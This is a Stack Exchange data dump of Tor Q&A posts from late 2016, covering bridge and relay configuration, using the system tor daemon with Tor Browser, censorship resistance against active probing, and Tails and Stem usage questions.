  <row Id="13210" PostTypeId="1" AcceptedAnswerId="13212" CreationDate="2016-11-24T23:24:46.073" Score="2" ViewCount="725" Body="&lt;p&gt;I have a small VPS service that I use primarily to run a tor bridge (and also a VPN). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes I travel to China for work, so I have the bridge configured as unlisted and only connect to it with obfs4 - and it manages to not get blocked by the Great Firewall. For convenience I have all my various devices configured to use the bridge, even when at home. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For $5 a month, I have 1,000 GB of monthly bandwidth with this server, but I never come close to using it all. There is an option (for an extra $2 per month) to add an extra IPv4 address. I am thinking of somehow configuring tor to use one IP address as the unlisted obfs4 bridge, and to run a middle relay on the other IP address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any potential problems with doing this? If not, then are there any instructions on how I might go about this? Do I need to run two tor instances, or can I somehow do it all with one? &lt;/p&gt;&#xA;" OwnerUserId="10731" LastActivityDate="2016-11-25T02:32:06.677" Title="tor relay and bridge on one server with two IP addresses" Tags="|relays|bridge|ip-address|vps|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13211" PostTypeId="1" CreationDate="2016-11-25T02:27:35.913" Score="4" ViewCount="2329" Body="&lt;p&gt;How to make tor browser work with the system tor service rather than the tor service provided with the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certain files in the &lt;code&gt;Browser&lt;/code&gt; folder must be changed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;PS: I start the tor service  on Linux with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# service tor start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15177" LastActivityDate="2018-08-12T19:50:51.753" Title="How to make tor browser work with the system tor service rather than the tor service provided with the browser" Tags="|tor-browser-bundle|linux|browsers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13212" PostTypeId="2" ParentId="13210" CreationDate="2016-11-25T02:32:06.677" Score="3" Body="&lt;p&gt;You'd need to run two Tor instances, one for the published relay and the other for the bridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important part will be in specifying the correct IP address to bind to and listen on for the obfs4proxy and orports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you had two IP addresses with &lt;code&gt;1.1.1.1&lt;/code&gt; being your relay and &lt;code&gt;2.2.2.2&lt;/code&gt; being your bridge, your config would look something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/etc/tor/torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;orport 1.1.1.1:9001&#xA;nickname whatever&#xA;contact user@example.com&#xA;...your other config options here...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just your current relay configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're on debian using the Tor Projects repo, you should just be able to run (as root):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;tor-instance-create bridge&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should create the required settings, and give it a torrc located at &lt;code&gt;/etc/tor/instances/bridge/torrc&lt;/code&gt;, edit it following the template below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/etc/tor/instances/bridge/torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# some random, uncommon and high numbered port to frustrate discovery&#xA;orport 2.2.2.2:30393&#xA;# change path as appropriate&#xA;servertransportplugin obfs4 exec /usr/bin/obfs4proxy&#xA;# some port of your choosing&#xA;servertransportlistenaddr 2.2.2.2:443&#xA;# who we are&#xA;nickname whatever&#xA;contact user@example.com&#xA;# disable socksport, we're not a client&#xA;socksport 0&#xA;# if, as your question suggests you dont want to publish it to bridgedb&#xA;publishserverdescriptor 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now to enable and start the newly created tor daemon instance, run (as root):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;systemctl enable tor@bridge&#xA;systemctl start tor@bridge&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should be able to view the logs and ensure everything is working correctly by running (as root):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;journalctl -u tor@bridge&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-25T02:32:06.677" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13213" PostTypeId="2" ParentId="13211" CreationDate="2016-11-25T02:48:28.917" Score="2" Body="&lt;p&gt;From the guide I wrote, available on the Tor Project wiki &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorBrowserBundleSAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add or edit the following lines in your torrc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# add these flags to SocksPort to act like Tor Browser&#xA;SocksPort 9050 IPv6Traffic PreferIPv6 KeepAliveIsolateSOCKSAuth&#xA;ControlPort 9051&#xA;# only add these if they're *not* already defined in /usr/share/tor/tor-service-defaults-torrc&#xA;# i.e. if you're not using debian, ubuntu or one of their derivatives&#xA;#CookieAuthentication 1&#xA;#CookieAuthFile /var/run/tor/control.authcookie&#xA;#CookieAuthFileGroupReadable 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now reload Tor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo service tor reload&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add your user to the group that the tor daemon runs as, on debian, ubuntu and similar this is &lt;code&gt;debian-tor&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo usermod -a -G debian-tor $USER&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will require a full log out and back in to take effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we need to add some environment variables that Tor Button and Tor Launcher will respect. Create a file called somthing like &lt;code&gt;/etc/profile.d/99_tb.sh&lt;/code&gt; and add the following to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Use system daemon socks port&#xA;export TOR_SOCKS_PORT=9050&#xA;# Use system daemon control port&#xA;export TOR_CONTROL_PORT=9051&#xA;# Don't launch a second tor instance, and don't take ownership of it.&#xA;export TOR_SKIP_LAUNCH=1&#xA;# Tell it where to find the control auth cookie&#xA;export TOR_CONTROL_COOKIE_AUTH_FILE=/var/run/tor/control.authcookie&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will also require a full log out and back in to take effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you launch Tor Browser, it should use the local tor daemon instance instead of starting it's own.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-11-25T03:56:11.380" LastActivityDate="2016-11-25T03:56:11.380" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13214" PostTypeId="2" ParentId="13195" CreationDate="2016-11-25T05:26:56.283" Score="2" Body="&lt;p&gt;What you're describing is &lt;a href=&quot;https://support.mozilla.org/en-US/kb/mixed-content-blocking-firefox&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;mixed content&quot;&lt;/a&gt;, this is where a website will be loaded over https but the pages code itself will then ask it to load resources into the page over an http connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mixed-content invalidates any protection of the page, since an adversary with the ability to inject content into http streams could use this to tamper with the page content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a bug about the protection not being enablable, at &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/16527&quot; rel=&quot;nofollow noreferrer&quot;&gt;#16527&lt;/a&gt;, but there's not a lot of detail about the root of the issue at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling it would likely break some websites (although, frankly, the websites should be considered broken in the first place) but if it's required you can manually enable them by going to &lt;code&gt;about:config&lt;/code&gt; and setting &lt;code&gt;security.mixed_content.block_active_content&lt;/code&gt; and &lt;code&gt;security.mixed_content.block_display_content&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-25T05:26:56.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13224" PostTypeId="1" CreationDate="2016-11-27T07:38:52.893" Score="1" ViewCount="431" Body="&lt;p&gt;I couldn't find an answer for this but I discovered it by running TBB Firefox from the command line so I'm putting it here with an answer.&lt;/p&gt;&#xA;" OwnerUserId="15204" LastEditorUserId="3471" LastEditDate="2017-01-30T13:10:20.837" LastActivityDate="2017-01-30T13:10:20.837" Title="Where is my torrc on OS X for Tor Browser Bundle 6.0.6?" Tags="|configuration|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13225" PostTypeId="2" ParentId="13224" CreationDate="2016-11-27T07:38:52.893" Score="1" Body="&lt;p&gt;Tor puts user specific configuration in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/Library/Application Support/TorBrowser-Data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for the user guest the torrc file is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Users/guest/Library/Application Support/TorBrowser-Data/Tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this file will be empty or might not exist unless you have made some changes from the default.&lt;/p&gt;&#xA;" OwnerUserId="15204" LastActivityDate="2016-11-27T07:38:52.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13226" PostTypeId="1" CreationDate="2016-11-27T12:46:19.797" Score="3" ViewCount="1011" Body="&lt;p&gt;Can't governments who want to censor Tor just block the directory authorities? Or does the client reach the directory authorities to fetch the consensus only after building a circuit so that we have {user}&amp;lt;-&gt;{guard}&amp;lt;-&gt;{middle}&amp;lt;-&gt;{exit}&amp;lt;-&gt;{directory-authority}?&#xA;And if so, how can he make a circuit without the consensus?&lt;/p&gt;&#xA;" OwnerUserId="15206" LastActivityDate="2016-11-27T19:36:30.957" Title="Can't governments who want to censor Tor just block the directory authorities?" Tags="|directory|censorship|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13227" PostTypeId="1" CreationDate="2016-11-27T18:30:51.817" Score="0" ViewCount="1399" Body="&lt;p&gt;I'm using Tor (v 6.0.6 (based on Mozilla Firefox 45.5.0)) on Mac Sierra.  I realize the behavior is largely unpredictable, but what are some possible reasons why requesting a page in a Tor browser woudl result in a 403 or &quot;Unable to connect&quot; message whereas it is easily accessible in a Chrome/Firefox browser?  An example is I'm never able to visit htis page -- &lt;a href=&quot;http://www.plattsys.com/m1shell.asp?eventid=1080&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.plattsys.com/m1shell.asp?eventid=1080&lt;/a&gt; , in a Tor browser and trying to think if there are any configurations I can make that would make my Tor browser behave more like the other browsers where I can access this page easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, - Dave&lt;/p&gt;&#xA;" OwnerUserId="14367" LastActivityDate="2016-11-28T17:09:10.767" Title="Can't access a web page in Tor, but am able to in other browsers" Tags="|configuration|error|" AnswerCount="1" CommentCount="5" ClosedDate="2016-12-04T22:00:58.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="13228" PostTypeId="2" ParentId="13226" CreationDate="2016-11-27T19:36:30.957" Score="2" Body="&lt;p&gt;When a normal client first starts it fetches the directory information from a directory authority (or a fall-back). Since it does not &lt;em&gt;know&lt;/em&gt; any relays it has no choice but to fetch them directly. At that point a censor could indeed stop the connection being made. However a censor can also just download the directory information and block all relays, which would include the directory authorities and the fall-backs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why censored users use bridges. A user uses the bridge as a &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/125-bridges.txt#n139&quot; rel=&quot;nofollow noreferrer&quot;&gt;directory guard&lt;/a&gt;: they fetch the directory information from the bridge, not directly from the directory authorities or fall-backs. They also fetch it over an encrypted connection, not plain-text to avoid the contents of the directory request being detectable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any user who might be censored should be using bridges and preferably also some form of pluggable transport.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-27T19:36:30.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13229" PostTypeId="1" CreationDate="2016-11-27T21:20:02.070" Score="0" ViewCount="204" Body="&lt;p&gt;I can not start the browser because it is the first time it happens to me, I have everything working correctly, sorry my English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VkUhm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/VkUhm.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15194" LastActivityDate="2022-04-02T12:07:10.627" Title="problem windows seven tor startup" Tags="|error|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13230" PostTypeId="1" CreationDate="2016-11-27T22:02:32.363" Score="1" ViewCount="166" Body="&lt;p&gt;I was using Tails 2.7 and NoScript was set to &quot;Allow Scripts Globaly&quot;. The sites &lt;a href=&quot;http://browserspy.dk/javascript.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;browserspy.dk&lt;/a&gt; and &lt;a href=&quot;http://www.javatester.org/javascript.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.javatester.org/javascript.html&lt;/a&gt; say my Browser uses Javascript version 1.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript&quot; rel=&quot;nofollow noreferrer&quot;&gt;mozilla.org&lt;/a&gt; says this version was shipped with Firefox 1.0 on November 14, 2000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a similar issue on &lt;a href=&quot;https://tails.boum.org/blueprint/iceweasel_24/#index1h2&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/blueprint/iceweasel_24/#index1h2&lt;/a&gt; from October 16, 2013. But I did not find out why it was like this. And it seems to be unchanged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Could somebody fix the links, please? I do not have 10 reputation.)&lt;/p&gt;&#xA;" OwnerUserId="15209" LastEditorUserId="88" LastEditDate="2016-12-20T18:39:00.297" LastActivityDate="2016-12-20T18:39:00.297" Title="Why do fingerprint sites say Tails uses Javascript version 1.5?" Tags="|tor-browser-bundle|tails|javascript|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13231" PostTypeId="1" AcceptedAnswerId="13233" CreationDate="2016-11-27T23:38:59.430" Score="0" ViewCount="167" Body="&lt;p&gt;I'm curious as to why the following method isn't used by state-level censors to detect ALL kinds of Tor bridges, even obfuscated ones, and automatically block them for their population:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You run mass surveillance on your people's internet communications,  so you know which ip:port destinations they connect to.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You build a (very large) list of all such ip:port combinations you encounter.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You run a cluster of well-connected nodes that don't do anything but try to connect to these destinations using all tor bridge protocols (maybe using heuristics to discard unlikely targets)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Whenever one of the nodes gets a working connection to the Tor network, the ip:port combination is added to the list of bridges to block.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is this infeasible because of the cost/effort/required network bandwith? Or because there are much &lt;a href=&quot;https://tor.stackexchange.com/questions/12293/security-of-tor-bridges-and-captcha&quot;&gt;simpler solutions&lt;/a&gt;? Or for other reasons?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/6582/how-do-bridges-defend-themselves-against-targeted-scans?rq=1&quot;&gt;This question&lt;/a&gt; might be related.&lt;/p&gt;&#xA;" OwnerUserId="15210" LastEditorUserId="15210" LastEditDate="2016-11-27T23:45:05.977" LastActivityDate="2016-11-28T00:55:10.997" Title="What's keeping [insert dictatorship here] from blocking all bridges after first use?" Tags="|bridge|censorship|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13232" PostTypeId="1" AcceptedAnswerId="13234" CreationDate="2016-11-27T23:58:06.507" Score="0" ViewCount="914" Body="&lt;p&gt;I'm trying to learn my way around Tor and the Stem library for a class. My understanding is that the middle node is selected by tor and is unaccessible through Stem, however as part of the class I have to identify the middle node and find the address/location/etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing some research it looks like some suggest to go about doing this using extend_circuit, while others say that it's just not doable (which i'm assuming is incorrect since if it wasn't doable it wouldn't be part of the class?). I was hoping for some help/direction so I know where to look and how to go about doing this. &lt;/p&gt;&#xA;" OwnerUserId="15211" LastActivityDate="2016-11-28T00:27:12.607" Title="Selecting a middle node in Tor using Stem" Tags="|relays|python|stem|middle|" AnswerCount="1" CommentCount="0" ClosedDate="2016-12-04T22:05:49.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="13233" PostTypeId="2" ParentId="13231" CreationDate="2016-11-28T00:13:45.237" Score="2" Body="&lt;p&gt;China has already been doing this for some time. Anyone who runs a Tor relay will often receive inbound connections from some random residential looking IP address in China, often with some bizarre forensic artifacts that set them aside from normal connections. This is actually part of their strategy of performing &quot;active probing&quot; and trying to talk OR to the destination IP/port address, or one of the earlier, weaker obfuscation protocols (obfs2 or obfs3). A study of this was published in 2015, and is available in &lt;a href=&quot;https://www.cs.princeton.edu/~pwinter/pdf/ensafi2015b.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;pdf here&lt;/a&gt; and as a &lt;a href=&quot;https://media.ccc.de/v/32c3-7196-how_the_great_firewall_discovers_hidden_circumvention_servers&quot; rel=&quot;nofollow noreferrer&quot;&gt;conference presentation here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one of the design goals of the scramblesuit pluggable transport. It uses a shared secret that is distributed to the end user with the bridge address (out of band). Without knowledge of the shared secret, the pluggable transport will not talk to the probe. So if a censor observes a connection, even if the follow up connection is made it will not be able to determine what kind of service it is providing. Similarly obfs4 improved upon this by sharing the public part of a public/private key-pair instead of a shared secret, which provides extra protections against an adversary who learns the shared secret, since they cant prove knowledge of the private key to the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other approaches are those taken by Meek, where connections are TLS connections to commercially available content distribution networks. A censor would not be able to determine the nature of the traffic in the TLS tunnel, or the true end destination and blocking it would cause collateral damage, since other users of the content distribution network would also be censored despite their traffic not containing any information the censors do not want people to learn. In this way discovery of the IP and Port of the bridge is irrelevant since for the censor the cost of blocking access to it may exceed the benefit gained.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-11-28T00:55:10.997" LastActivityDate="2016-11-28T00:55:10.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13234" PostTypeId="2" ParentId="13232" CreationDate="2016-11-28T00:27:12.607" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://stem.torproject.org/api/control.html#stem.control.Controller.get_circuits&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;stem.control.Controller.get_circuits&lt;/code&gt;&lt;/a&gt; returns a list of &lt;a href=&quot;https://stem.torproject.org/api/response.html#stem.response.events.CircuitEvent&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;stem.response.events.CircuitEvent&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of these contains a &lt;code&gt;path&lt;/code&gt; attribute, which is a list of the relays involved in the circuit, including the middle relay.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-28T00:27:12.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13236" PostTypeId="2" ParentId="4625" CreationDate="2016-11-28T12:02:42.620" Score="1" Body="&lt;p&gt;Short answer: &lt;strong&gt;YES&lt;/strong&gt;, it is safe as soon as those personal accounts are protected by HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By safe I assume you mean protecting your password's secrecy. HTTPS encrypts end-to-end traffic between your Tor browser and the web server you are connected to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor provides anonimity and censorship prevention too, so it works great when you use a network that prevents you from updating your Facebook profile status. Facebook uses SSL everywhere, thus Tor exit nodes cannot see your password. No one inside Tor can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My short answer has a remark: &quot;as soon as those...&quot;. In fact, if you use plain HTTP the exit node knows what you are doing. It is known that a number of Tor exit nodes record your data, passwords included.&lt;/p&gt;&#xA;" OwnerUserId="15219" LastActivityDate="2016-11-28T12:02:42.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13237" PostTypeId="2" ParentId="13229" CreationDate="2016-11-28T16:54:43.493" Score="0" Body="&lt;p&gt;I had this problem on linux, I fixed the problem by quitting all tor.exe processes.&#xA;I think what you should do is close all Tor Browser windows, go to Task Manager, look for any &lt;em&gt;tor.exe&lt;/em&gt; processes and possibly &lt;em&gt;firefox.exe&lt;/em&gt; processes with &quot;Tor Browser&quot; in the Description column (If you don't see Descriptions then you need to enable it in Task Manager menu &gt; &lt;strong&gt;Select Columns&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last, close all those &lt;em&gt;tor.exe&lt;/em&gt; and &lt;em&gt;firefox.exe&lt;/em&gt; processes and open Tor Browser again, it should work. &lt;/p&gt;&#xA;" OwnerUserId="14882" LastEditorUserId="14882" LastEditDate="2016-11-28T17:02:03.113" LastActivityDate="2016-11-28T17:02:03.113" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13238" PostTypeId="1" CreationDate="2016-11-28T17:03:05.113" Score="0" ViewCount="4475" Body="&lt;p&gt;I've been trying to set up a BitCoin wallet in TAILS OS. Every time I enter into the Electrum application, I am warned that Electrum is not configured to use persistence on my USB, that I'll lose my wallet upon powering off. How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="15147" LastEditorUserId="88" LastEditDate="2017-09-25T11:56:27.023" LastActivityDate="2018-07-09T14:11:33.937" Title="Electrum Doesn't Use Persistence in TAILS OS" Tags="|tails|bitcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13239" PostTypeId="2" ParentId="13227" CreationDate="2016-11-28T17:09:10.767" Score="0" Body="&lt;p&gt;Did you try clicking on the Tor menu (or the onion, or whatever it's called) and click &lt;strong&gt;New Tor Circuit for this Site&lt;/strong&gt;? (If that fails, try clicking &lt;strong&gt;New Identity&lt;/strong&gt; to get a new circuit, clear browser state, etc. See &lt;a href=&quot;https://blog.torproject.org/category/tags/new-identity&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/category/tags/new-identity&lt;/a&gt; for more details on that.)&lt;/p&gt;&#xA;" OwnerUserId="14882" LastActivityDate="2016-11-28T17:09:10.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13240" PostTypeId="2" ParentId="13238" CreationDate="2016-11-28T18:34:27.643" Score="2" Body="&lt;p&gt;As per &lt;a href=&quot;https://tails.boum.org/doc/first_steps/persistence/configure/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;code&gt;Applications&lt;/code&gt; -&gt; &lt;code&gt;Tails&lt;/code&gt; -&gt; &lt;code&gt;Configure Persistent Volume&lt;/code&gt; then choose the option for &lt;code&gt;Bitcoin Client&lt;/code&gt; then click on &lt;code&gt;Save&lt;/code&gt; and reboot your Tails for the changes to take effect. Now Electrum should be using the Persistent volume.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-11-28T18:34:27.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13244" PostTypeId="1" AcceptedAnswerId="13245" CreationDate="2016-11-28T21:43:30.413" Score="0" ViewCount="548" Body="&lt;p&gt;Currently I'm startin Tor as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor &amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this holds up the terminal and thus I need to press enter to continue. In a script this may not the desired behaviour, so I was wondering if it's possible to keep the script going after this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo -ne '\n' | tor &amp;amp;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as explained around, but it doesn't make my script procedure. Any ideas on how to achieve what I explained?&lt;/p&gt;&#xA;" OwnerDisplayName="user13574" LastActivityDate="2016-11-28T23:38:37.080" Title="How to make the terminal continue after starting Tor?" Tags="|mac|torsocks|terminal|bash|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13245" PostTypeId="2" ParentId="13244" CreationDate="2016-11-28T23:38:37.080" Score="1" Body="&lt;p&gt;From the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor manual&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Other options can be specified on the command-line in the format &amp;quot;--option value&amp;quot;, in the format &amp;quot;option value&amp;quot;, or in a configuration file. For instance, you can tell Tor to start listening for SOCKS connections on port 9999 by passing --SocksPort 9999 or SocksPort 9999 to it on the command line, or by putting &amp;quot;SocksPort 9999&amp;quot; in the configuration file. You will need to quote options with spaces in them: if you want Tor to log all debugging messages to debug.log, you will probably need to say --Log debug file debug.log.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;RunAsDaemon 0|1&lt;/p&gt;&#xA;&lt;p&gt;If 1, Tor forks and daemonizes to the background. This option has no effect on Windows; instead you should use the --service command-line option. (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So &lt;code&gt;tor --runasdaemon 1&lt;/code&gt; should cause it to detach itself from the terminal and run itself in the background.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-11-28T23:38:37.080" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13246" PostTypeId="1" CreationDate="2016-11-28T23:55:59.917" Score="3" ViewCount="727" Body="&lt;p&gt;In my server, I installed tor and postfix. I can send an email via this simple shell commands : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;foo&quot; | mail -s &quot;example&quot; testest@sigaint.org &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No problem here, its work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want be able to send emails to .onion address. So When I execute this command : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;foo&quot; | mail -s &quot;example&quot; testest@sigaintdjfu3jveh.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The mail isn't received in my email address. Below my mail.log logs :  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Nov 29 00:50:10 mycomputername postfix/pickup[6641]: 49B4F342961:&#xA;  uid=1001 from=myunixuser&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Nov 29 00:50:10 mycomputername postfix/cleanup[6974]: 49B4F342961:&#xA;  message-id=&amp;lt;20161128235010.49B4F342961@mycomputername&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Nov 29 00:50:10 mycomputername postfix/qmgr[6642]: 49B4F342961:&#xA;  from=, size=297, nrcpt=1 (queue&#xA;  active)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Nov 29 00:50:10 mycomputername postfix/smtp[6976]: 49B4F342961:&#xA;  to=, relay=none, delay=0.19,&#xA;  delays=0.12/0.01/0.05/0, dsn=5.4.4, status=bounced (Host or domain&#xA;  name not found. Name service error for name=sigaintevyh2rzvw.onion&#xA;  type=AAAA: &lt;strong&gt;Host not found&lt;/strong&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think I must configure my 'mail' command for use the proxy tor, but I don't know how I can do that and I didn't find any doc/tutorial..&#xA;Thank you =)&lt;/p&gt;&#xA;" OwnerUserId="15229" LastActivityDate="2016-12-01T07:18:31.277" Title="Unix command 'mail', send mail to an .onion address mail" Tags="|proxy|email|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
